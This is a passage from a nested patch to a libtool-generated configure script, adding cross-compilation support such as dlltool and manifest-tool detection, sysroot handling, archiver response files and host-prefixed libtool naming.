- reload_cmds='$LTCC $LTCFLAGS -nostdlib ${wl}-r -o $output$reload_objs'
-@@ -6934,7 +7019,8 @@ mingw* | pw32*)
- lt_cv_deplibs_check_method='file_magic ^x86 archive import|^x86 DLL'
- lt_cv_file_magic_cmd='func_win32_libid'
- else
-- lt_cv_deplibs_check_method='file_magic file format pei*-i386(.*architecture: i386)?'
-+ # Keep this pattern in sync with the one in func_win32_libid.
-+ lt_cv_deplibs_check_method='file_magic file format (pei*-i386(.*architecture: i386)?|pe-arm-wince|pe-x86-64)'
- lt_cv_file_magic_cmd='$OBJDUMP -f'
- fi
- ;;
-@@ -7088,6 +7174,21 @@ esac
- fi
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_deplibs_check_method" >&5
- $as_echo "$lt_cv_deplibs_check_method" >&6; }
-+
-+file_magic_glob=
-+want_nocaseglob=no
-+if test "$build" = "$host"; then
-+ case $host_os in
-+ mingw* | pw32*)
-+ if ( shopt | grep nocaseglob ) >/dev/null 2>&1; then
-+ want_nocaseglob=yes
-+ else
-+ file_magic_glob=`echo aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ | $SED -e "s/\(..\)/s\/[\1]\/[\1]\/g;/g"`
-+ fi
-+ ;;
-+ esac
-+fi
-+
- file_magic_cmd=$lt_cv_file_magic_cmd
- deplibs_check_method=$lt_cv_deplibs_check_method
- test -z "$deplibs_check_method" && deplibs_check_method=unknown
-@@ -7103,9 +7204,162 @@ test -z "$deplibs_check_method" && deplibs_check_method=unknown
-
-
-
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+if test -n "$ac_tool_prefix"; then
-+ # Extract the first word of "${ac_tool_prefix}dlltool", so it can be a program name with args.
-+set dummy ${ac_tool_prefix}dlltool; ac_word=$2
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-+$as_echo_n "checking for $ac_word... " >&6; }
-+if ${ac_cv_prog_DLLTOOL+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ if test -n "$DLLTOOL"; then
-+ ac_cv_prog_DLLTOOL="$DLLTOOL" # Let the user override the test.
-+else
-+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-+for as_dir in $PATH
-+do
-+ IFS=$as_save_IFS
-+ test -z "$as_dir" && as_dir=.
-+ for ac_exec_ext in '' $ac_executable_extensions; do
-+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-+ ac_cv_prog_DLLTOOL="${ac_tool_prefix}dlltool"
-+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
-+ break 2
-+ fi
-+done
-+ done
-+IFS=$as_save_IFS
-+
-+fi
-+fi
-+DLLTOOL=$ac_cv_prog_DLLTOOL
-+if test -n "$DLLTOOL"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $DLLTOOL" >&5
-+$as_echo "$DLLTOOL" >&6; }
-+else
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-+$as_echo "no" >&6; }
-+fi
-+
-+
-+fi
-+if test -z "$ac_cv_prog_DLLTOOL"; then
-+ ac_ct_DLLTOOL=$DLLTOOL
-+ # Extract the first word of "dlltool", so it can be a program name with args.
-+set dummy dlltool; ac_word=$2
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-+$as_echo_n "checking for $ac_word... " >&6; }
-+if ${ac_cv_prog_ac_ct_DLLTOOL+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ if test -n "$ac_ct_DLLTOOL"; then
-+ ac_cv_prog_ac_ct_DLLTOOL="$ac_ct_DLLTOOL" # Let the user override the test.
-+else
-+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-+for as_dir in $PATH
-+do
-+ IFS=$as_save_IFS
-+ test -z "$as_dir" && as_dir=.
-+ for ac_exec_ext in '' $ac_executable_extensions; do
-+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-+ ac_cv_prog_ac_ct_DLLTOOL="dlltool"
-+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
-+ break 2
-+ fi
-+done
-+ done
-+IFS=$as_save_IFS
-+
-+fi
-+fi
-+ac_ct_DLLTOOL=$ac_cv_prog_ac_ct_DLLTOOL
-+if test -n "$ac_ct_DLLTOOL"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_DLLTOOL" >&5
-+$as_echo "$ac_ct_DLLTOOL" >&6; }
-+else
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-+$as_echo "no" >&6; }
-+fi
-+
-+ if test "x$ac_ct_DLLTOOL" = x; then
-+ DLLTOOL="false"
-+ else
-+ case $cross_compiling:$ac_tool_warned in
-+yes:)
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
-+$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
-+ac_tool_warned=yes ;;
-+esac
-+ DLLTOOL=$ac_ct_DLLTOOL
-+ fi
-+else
-+ DLLTOOL="$ac_cv_prog_DLLTOOL"
-+fi
-+
-+test -z "$DLLTOOL" && DLLTOOL=dlltool
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to associate runtime and link libraries" >&5
-+$as_echo_n "checking how to associate runtime and link libraries... " >&6; }
-+if ${lt_cv_sharedlib_from_linklib_cmd+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ lt_cv_sharedlib_from_linklib_cmd='unknown'
-+
-+case $host_os in
-+cygwin* | mingw* | pw32* | cegcc*)
-+ # two different shell functions defined in ltmain.sh
-+ # decide which to use based on capabilities of $DLLTOOL
-+ case `$DLLTOOL --help 2>&1` in
-+ *--identify-strict*)
-+ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib
-+ ;;
-+ *)
-+ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib_fallback
-+ ;;
-+ esac
-+ ;;
-+*)
-+ # fallback: assume linklib IS sharedlib
-+ lt_cv_sharedlib_from_linklib_cmd="$ECHO"
-+ ;;
-+esac
-+
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_sharedlib_from_linklib_cmd" >&5
-+$as_echo "$lt_cv_sharedlib_from_linklib_cmd" >&6; }
-+sharedlib_from_linklib_cmd=$lt_cv_sharedlib_from_linklib_cmd
-+test -z "$sharedlib_from_linklib_cmd" && sharedlib_from_linklib_cmd=$ECHO
-+
-+
-+
-+
-+
-+
-+
- if test -n "$ac_tool_prefix"; then
-- # Extract the first word of "${ac_tool_prefix}ar", so it can be a program name with args.
--set dummy ${ac_tool_prefix}ar; ac_word=$2
-+ for ac_prog in ar
-+ do
-+ # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args.
-+set dummy $ac_tool_prefix$ac_prog; ac_word=$2
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
- $as_echo_n "checking for $ac_word... " >&6; }
- if ${ac_cv_prog_AR+:} false; then :
-@@ -7121,7 +7375,7 @@ do
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-- ac_cv_prog_AR="${ac_tool_prefix}ar"
-+ ac_cv_prog_AR="$ac_tool_prefix$ac_prog"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-@@ -7141,11 +7395,15 @@ $as_echo "no" >&6; }
- fi
-
-
-+ test -n "$AR" && break
-+ done
- fi
--if test -z "$ac_cv_prog_AR"; then
-+if test -z "$AR"; then
- ac_ct_AR=$AR
-- # Extract the first word of "ar", so it can be a program name with args.
--set dummy ar; ac_word=$2
-+ for ac_prog in ar
-+do
-+ # Extract the first word of "$ac_prog", so it can be a program name with args.
-+set dummy $ac_prog; ac_word=$2
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
- $as_echo_n "checking for $ac_word... " >&6; }
- if ${ac_cv_prog_ac_ct_AR+:} false; then :
-@@ -7161,7 +7419,7 @@ do
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-- ac_cv_prog_ac_ct_AR="ar"
-+ ac_cv_prog_ac_ct_AR="$ac_prog"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-@@ -7180,6 +7438,10 @@ else
- $as_echo "no" >&6; }
- fi
-
-+
-+ test -n "$ac_ct_AR" && break
-+done
-+
- if test "x$ac_ct_AR" = x; then
- AR="false"
- else
-@@ -7191,12 +7453,12 @@ ac_tool_warned=yes ;;
- esac
- AR=$ac_ct_AR
- fi
--else
-- AR="$ac_cv_prog_AR"
- fi
-
--test -z "$AR" && AR=ar
--test -z "$AR_FLAGS" && AR_FLAGS=cru
-+: ${AR=ar}
-+: ${AR_FLAGS=cru}
-+
-+
-
-
-
-@@ -7206,6 +7468,62 @@ test -z "$AR_FLAGS" && AR_FLAGS=cru
-
-
-
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for archiver @FILE support" >&5
-+$as_echo_n "checking for archiver @FILE support... " >&6; }
-+if ${lt_cv_ar_at_file+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ lt_cv_ar_at_file=no
-+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-+/* end confdefs.h. */
-+
-+int
-+main ()
-+{
-+
-+ ;
-+ return 0;
-+}
-+_ACEOF
-+if ac_fn_c_try_compile "$LINENO"; then :
-+ echo conftest.$ac_objext > conftest.lst
-+ lt_ar_try='$AR $AR_FLAGS libconftest.a @conftest.lst >&5'
-+ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
-+ (eval $lt_ar_try) 2>&5
-+ ac_status=$?
-+ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
-+ test $ac_status = 0; }
-+ if test "$ac_status" -eq 0; then
-+ # Ensure the archiver fails upon bogus file names.
-+ rm -f conftest.$ac_objext libconftest.a
-+ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
-+ (eval $lt_ar_try) 2>&5
-+ ac_status=$?
-+ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
-+ test $ac_status = 0; }
-+ if test "$ac_status" -ne 0; then
-+ lt_cv_ar_at_file=@
-+ fi
-+ fi
-+ rm -f conftest.* libconftest.a
-+
-+fi
-+rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
-+
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_ar_at_file" >&5
-+$as_echo "$lt_cv_ar_at_file" >&6; }
-+
-+if test "x$lt_cv_ar_at_file" = xno; then
-+ archiver_list_spec=
-+else
-+ archiver_list_spec=$lt_cv_ar_at_file
-+fi
-+
-+
-+
-+
-+
-
-
- if test -n "$ac_tool_prefix"; then
-@@ -7542,8 +7860,8 @@ esac
- lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'"
-
- # Transform an extracted symbol line into symbol name and symbol address
--lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
--lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
-+lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
-+lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
-
- # Handle CRLF in mingw tool chain
- opt_cr=
-@@ -7579,6 +7897,7 @@ for ac_symprfx in "" "_"; do
- else
- lt_cv_sys_global_symbol_pipe="sed -n -e 's/^.*[ ]\($symcode$symcode*\)[ ][ ]*$ac_symprfx$sympat$opt_cr$/$symxfrm/p'"
- fi
-+ lt_cv_sys_global_symbol_pipe="$lt_cv_sys_global_symbol_pipe | sed '/ __gnu_lto/d'"
-
- # Check to see that the pipe works correctly.
- pipe_works=no
-@@ -7620,6 +7939,18 @@ _LT_EOF
- if $GREP ' nm_test_var$' "$nlist" >/dev/null; then
- if $GREP ' nm_test_func$' "$nlist" >/dev/null; then
- cat <<_LT_EOF > conftest.$ac_ext
-+/* Keep this code in sync between libtool.m4, ltmain, lt_system.h, and tests. */
-+#if defined(_WIN32) || defined(__CYGWIN__) || defined(_WIN32_WCE)
-+/* DATA imports from DLLs on WIN32 con't be const, because runtime
-+ relocations are performed -- see ld's documentation on pseudo-relocs. */
-+# define LT_DLSYM_CONST
-+#elif defined(__osf__)
-+/* This system does not cope well with relocations in const data. */
-+# define LT_DLSYM_CONST
-+#else
-+# define LT_DLSYM_CONST const
-+#endif
-+
- #ifdef __cplusplus
- extern "C" {
- #endif
-@@ -7631,7 +7962,7 @@ _LT_EOF
- cat <<_LT_EOF >> conftest.$ac_ext
-
- /* The mapping between symbol names and symbols. */
--const struct {
-+LT_DLSYM_CONST struct {
- const char *name;
- void *address;
- }
-@@ -7657,8 +7988,8 @@ static const void *lt_preloaded_setup() {
- _LT_EOF
- # Now try linking the two files.
- mv conftest.$ac_objext conftstm.$ac_objext
-- lt_save_LIBS="$LIBS"
-- lt_save_CFLAGS="$CFLAGS"
-+ lt_globsym_save_LIBS=$LIBS
-+ lt_globsym_save_CFLAGS=$CFLAGS
- LIBS="conftstm.$ac_objext"
- CFLAGS="$CFLAGS$lt_prog_compiler_no_builtin_flag"
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_link\""; } >&5
-@@ -7668,8 +7999,8 @@ _LT_EOF
- test $ac_status = 0; } && test -s conftest${ac_exeext}; then
- pipe_works=yes
- fi
-- LIBS="$lt_save_LIBS"
-- CFLAGS="$lt_save_CFLAGS"
-+ LIBS=$lt_globsym_save_LIBS
-+ CFLAGS=$lt_globsym_save_CFLAGS
- else
- echo "cannot find nm_test_func in $nlist" >&5
- fi
-@@ -7706,6 +8037,19 @@ else
- $as_echo "ok" >&6; }
- fi
-
-+# Response file support.
-+if test "$lt_cv_nm_interface" = "MS dumpbin"; then
-+ nm_file_list_spec='@'
-+elif $NM --help 2>/dev/null | grep '[@]FILE' >/dev/null; then
-+ nm_file_list_spec='@'
-+fi
-+
-+
-+
-+
-+
-+
-+
-
-
-
-@@ -7722,6 +8066,42 @@ fi
-
-
-
-+
-+
-+
-+
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for sysroot" >&5
-+$as_echo_n "checking for sysroot... " >&6; }
-+
-+# Check whether --with-libtool-sysroot was given.
-+if test "${with_libtool_sysroot+set}" = set; then :
-+ withval=$with_libtool_sysroot;
-+else
-+ with_libtool_sysroot=no
-+fi
-+
-+
-+lt_sysroot=
-+case ${with_libtool_sysroot} in #(
-+ yes)
-+ if test "$GCC" = yes; then
-+ lt_sysroot=`$CC --print-sysroot 2>/dev/null`
-+ fi
-+ ;; #(
-+ /*)
-+ lt_sysroot=`echo "$with_libtool_sysroot" | sed -e "$sed_quote_subst"`
-+ ;; #(
-+ no|'')
-+ ;; #(
-+ *)
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${with_libtool_sysroot}" >&5
-+$as_echo "${with_libtool_sysroot}" >&6; }
-+ as_fn_error $? "The sysroot must be an absolute path." "$LINENO" 5
-+ ;;
-+esac
-+
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${lt_sysroot:-no}" >&5
-+$as_echo "${lt_sysroot:-no}" >&6; }
-
-
-
-@@ -7933,6 +8313,123 @@ esac
-
- need_locks="$enable_libtool_lock"
-
-+if test -n "$ac_tool_prefix"; then
-+ # Extract the first word of "${ac_tool_prefix}mt", so it can be a program name with args.
-+set dummy ${ac_tool_prefix}mt; ac_word=$2
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-+$as_echo_n "checking for $ac_word... " >&6; }
-+if ${ac_cv_prog_MANIFEST_TOOL+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ if test -n "$MANIFEST_TOOL"; then
-+ ac_cv_prog_MANIFEST_TOOL="$MANIFEST_TOOL" # Let the user override the test.
-+else
-+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-+for as_dir in $PATH
-+do
-+ IFS=$as_save_IFS
-+ test -z "$as_dir" && as_dir=.
-+ for ac_exec_ext in '' $ac_executable_extensions; do
-+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-+ ac_cv_prog_MANIFEST_TOOL="${ac_tool_prefix}mt"
-+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
-+ break 2
-+ fi
-+done
-+ done
-+IFS=$as_save_IFS
-+
-+fi
-+fi
-+MANIFEST_TOOL=$ac_cv_prog_MANIFEST_TOOL
-+if test -n "$MANIFEST_TOOL"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $MANIFEST_TOOL" >&5
-+$as_echo "$MANIFEST_TOOL" >&6; }
-+else
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-+$as_echo "no" >&6; }
-+fi
-+
-+
-+fi
-+if test -z "$ac_cv_prog_MANIFEST_TOOL"; then
-+ ac_ct_MANIFEST_TOOL=$MANIFEST_TOOL
-+ # Extract the first word of "mt", so it can be a program name with args.
-+set dummy mt; ac_word=$2
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-+$as_echo_n "checking for $ac_word... " >&6; }
-+if ${ac_cv_prog_ac_ct_MANIFEST_TOOL+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ if test -n "$ac_ct_MANIFEST_TOOL"; then
-+ ac_cv_prog_ac_ct_MANIFEST_TOOL="$ac_ct_MANIFEST_TOOL" # Let the user override the test.
-+else
-+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-+for as_dir in $PATH
-+do
-+ IFS=$as_save_IFS
-+ test -z "$as_dir" && as_dir=.
-+ for ac_exec_ext in '' $ac_executable_extensions; do
-+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-+ ac_cv_prog_ac_ct_MANIFEST_TOOL="mt"
-+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
-+ break 2
-+ fi
-+done
-+ done
-+IFS=$as_save_IFS
-+
-+fi
-+fi
-+ac_ct_MANIFEST_TOOL=$ac_cv_prog_ac_ct_MANIFEST_TOOL
-+if test -n "$ac_ct_MANIFEST_TOOL"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_MANIFEST_TOOL" >&5
-+$as_echo "$ac_ct_MANIFEST_TOOL" >&6; }
-+else
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-+$as_echo "no" >&6; }
-+fi
-+
-+ if test "x$ac_ct_MANIFEST_TOOL" = x; then
-+ MANIFEST_TOOL=":"
-+ else
-+ case $cross_compiling:$ac_tool_warned in
-+yes:)
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
-+$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
-+ac_tool_warned=yes ;;
-+esac
-+ MANIFEST_TOOL=$ac_ct_MANIFEST_TOOL
-+ fi
-+else
-+ MANIFEST_TOOL="$ac_cv_prog_MANIFEST_TOOL"
-+fi
-+
-+test -z "$MANIFEST_TOOL" && MANIFEST_TOOL=mt
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $MANIFEST_TOOL is a manifest tool" >&5
-+$as_echo_n "checking if $MANIFEST_TOOL is a manifest tool... " >&6; }
-+if ${lt_cv_path_mainfest_tool+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ lt_cv_path_mainfest_tool=no
-+ echo "$as_me:$LINENO: $MANIFEST_TOOL '-?'" >&5
-+ $MANIFEST_TOOL '-?' 2>conftest.err > conftest.out
-+ cat conftest.err >&5
-+ if $GREP 'Manifest Tool' conftest.out > /dev/null; then
-+ lt_cv_path_mainfest_tool=yes
-+ fi
-+ rm -f conftest*
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_path_mainfest_tool" >&5
-+$as_echo "$lt_cv_path_mainfest_tool" >&6; }
-+if test "x$lt_cv_path_mainfest_tool" != xyes; then
-+ MANIFEST_TOOL=:
-+fi
-+
-+
-+
-+
-+
-
- case $host_os in
- rhapsody* | darwin*)
-@@ -8496,6 +8993,8 @@ _LT_EOF
- $LTCC $LTCFLAGS -c -o conftest.o conftest.c 2>&5
- echo "$AR cru libconftest.a conftest.o" >&5
- $AR cru libconftest.a conftest.o 2>&5
-+ echo "$RANLIB libconftest.a" >&5
-+ $RANLIB libconftest.a 2>&5
- cat > conftest.c << _LT_EOF
- int main() { return 0;}
- _LT_EOF
-@@ -8564,6 +9063,16 @@ done
-
-
-
-+func_stripname_cnf ()
-+{
-+ case ${2} in
-+ .*) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%\\\\${2}\$%%"`;;
-+ *) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%${2}\$%%"`;;
-+ esac
-+} # func_stripname_cnf
-+
-+
-+
-
-
- # Set options
-@@ -8692,7 +9201,8 @@ fi
- LIBTOOL_DEPS="$ltmain"
-
- # Always use our own libtool.
--LIBTOOL='$(SHELL) $(top_builddir)/libtool'
-+LIBTOOL='$(SHELL) $(top_builddir)'
-+LIBTOOL="$LIBTOOL/${host_alias}-libtool"
-
-
-
-@@ -8781,7 +9291,7 @@ aix3*)
- esac
-
- # Global variables:
--ofile=libtool
-+ofile=${host_alias}-libtool
- can_build_shared=yes
-
- # All known linkers require a `.a' archive for static linking (except MSVC,
-@@ -9079,8 +9589,6 @@ fi
- lt_prog_compiler_pic=
- lt_prog_compiler_static=
-
--{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
--$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
-
- if test "$GCC" = yes; then
- lt_prog_compiler_wl='-Wl,'
-@@ -9246,6 +9754,12 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
- lt_prog_compiler_pic='--shared'
- lt_prog_compiler_static='--static'
- ;;
-+ nagfor*)
-+ # NAG Fortran compiler
-+ lt_prog_compiler_wl='-Wl,-Wl,,'
-+ lt_prog_compiler_pic='-PIC'
-+ lt_prog_compiler_static='-Bstatic'
-+ ;;
- pgcc* | pgf77* | pgf90* | pgf95* | pgfortran*)
- # Portland Group compilers (*not* the Pentium gcc compiler,
- # which looks to be a dead project)
-@@ -9308,7 +9822,7 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
- lt_prog_compiler_pic='-KPIC'
- lt_prog_compiler_static='-Bstatic'
- case $cc_basename in
-- f77* | f90* | f95*)
-+ f77* | f90* | f95* | sunf77* | sunf90* | sunf95*)
- lt_prog_compiler_wl='-Qoption ld ';;
- *)
- lt_prog_compiler_wl='-Wl,';;
-@@ -9365,13 +9879,17 @@ case $host_os in
- lt_prog_compiler_pic="$lt_prog_compiler_pic -DPIC"
- ;;
- esac
--{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic" >&5
--$as_echo "$lt_prog_compiler_pic" >&6; }
--
--
--
--
-
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
-+$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
-+if ${lt_cv_prog_compiler_pic+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ lt_cv_prog_compiler_pic=$lt_prog_compiler_pic
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_pic" >&5
-+$as_echo "$lt_cv_prog_compiler_pic" >&6; }
-+lt_prog_compiler_pic=$lt_cv_prog_compiler_pic
-
- #
- # Check to make sure the PIC flag actually works.
-@@ -9432,6 +9950,11 @@ fi
-
-
-
-+
-+
-+
-+
-+
- #
- # Check to make sure the static flag actually works.
- #
-@@ -9782,7 +10305,8 @@ _LT_EOF
- allow_undefined_flag=unsupported
- always_export_symbols=no
- enable_shared_with_static_runtimes=yes
-- export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
-+ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/;s/^.*[ ]__nm__\([^ ]*\)[ ][^ ]*/\1 DATA/;/^I[ ]/d;/^[AITW][ ]/s/.* //'\'' | sort | uniq > $export_symbols'
-+ exclude_expsyms='[_]+GLOBAL_OFFSET_TABLE_|[_]+GLOBAL__[FID]_.*|[_]+head_[A-Za-z0-9_]+_dll|[A-Za-z0-9_]+_dll_iname'
-
- if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
-@@ -9881,12 +10405,12 @@ _LT_EOF
- whole_archive_flag_spec='--whole-archive$convenience --no-whole-archive'
- hardcode_libdir_flag_spec=
- hardcode_libdir_flag_spec_ld='-rpath $libdir'
-- archive_cmds='$LD -shared $libobjs $deplibs $compiler_flags -soname $soname -o $lib'
-+ archive_cmds='$LD -shared $libobjs $deplibs $linker_flags -soname $soname -o $lib'
- if test "x$supports_anon_versioning" = xyes; then
- archive_expsym_cmds='echo "{ global:" > $output_objdir/$libname.ver~
- cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~
- echo "local: *; };" >> $output_objdir/$libname.ver~
-- $LD -shared $libobjs $deplibs $compiler_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
-+ $LD -shared $libobjs $deplibs $linker_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
- fi
- ;;
- esac
-@@ -9900,8 +10424,8 @@ _LT_EOF
- archive_cmds='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib'
- wlarc=
- else
-- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
-+ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-+ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- fi
- ;;
-
-@@ -9919,8 +10443,8 @@ _LT_EOF
-
- _LT_EOF
- elif $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
-- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
-+ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-+ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- else
- ld_shlibs=no
- fi
-@@ -9966,8 +10490,8 @@ _LT_EOF
-
- *)
- if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
-- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
-+ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-+ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- else
- ld_shlibs=no
- fi
-@@ -10097,7 +10621,13 @@ _LT_EOF
